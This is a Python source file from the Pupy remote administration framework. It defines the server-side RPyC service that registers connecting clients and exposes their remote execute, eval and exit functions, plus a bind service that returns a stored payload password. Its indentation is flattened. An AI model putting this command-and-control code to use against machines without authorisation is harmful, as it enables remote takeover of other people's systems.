pupy/pupy/pupylib/PupyService.py

111 lines
4.6 KiB
Python

# -*- coding: utf-8-*-
# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------
import rpyc.core.service
import rpyc
import threading
import sys
import ssl
import logging
import traceback
import json
import zlib
from pupylib.PupyCredentials import Credentials
class PupyService(rpyc.Service):
def __init__(self, *args, **kwargs):
super(PupyService, self).__init__(*args, **kwargs)
self._local_cleanups = []
self._singles = {}
def on_connect(self):
try:
# code that runs when a connection is created
# (to init the serivce, if needed)
self._conn._config.update(dict(
allow_safe_attrs = True,
allow_public_attrs = False,
allow_pickle = False,
allow_getattr = True,
allow_setattr = False,
allow_delattr = False,
import_custom_exceptions = False,
instantiate_custom_exceptions = False,
instantiate_oldstyle_exceptions = False,
))
#self._conn._config["safe_attrs"].add("__iter__")
#self._conn._config["safe_attrs"].add("readline")
self.modules=None
#some aliases :
try:
self.namespace=self._conn.root.namespace
except Exception:
if logging.getLogger().getEffectiveLevel()==logging.DEBUG:
raise
else:
return
self.execute=self._conn.root.execute
self.register_remote_cleanup=self._conn.root.register_cleanup
self.unregister_remote_cleanup=self._conn.root.unregister_cleanup
self.exit=self._conn.root.exit
self.eval=self._conn.root.eval
self.get_infos=self._conn.root.get_infos
self.builtin=self.modules.__builtin__
self.builtins=self.modules.__builtin__
self.exposed_stdin=sys.stdin
self.exposed_stdout=sys.stdout
self.exposed_stderr=sys.stderr
self.pupy_srv.add_client(self)
except Exception as e:
logging.error(traceback.format_exc())
def register_local_cleanup(self, cleanup):
self._local_cleanups.append(cleanup)
def unregister_local_cleanup(self, cleanup):
self._local_cleanups.remove(cleanup)
def single(self, ctype, *args, **kwargs):
single = self._singles.get(ctype)
if not single:
single = ctype(*args, **kwargs)
self._singles[ctype] = single
return single
def on_disconnect(self):
self.pupy_srv.remove_client(self)
for cleanup in self._local_cleanups:
cleanup()
def exposed_set_modules(self, modules):
self.modules=modules
def exposed_json_dumps(self, js, compressed=False):
data = json.dumps(js)
if compressed:
data = zlib.compress(data)
return data
class PupyBindService(PupyService):
def exposed_get_password(self):
credentials = Credentials()
return credentials['BIND_PAYLOADS_PASSWORD']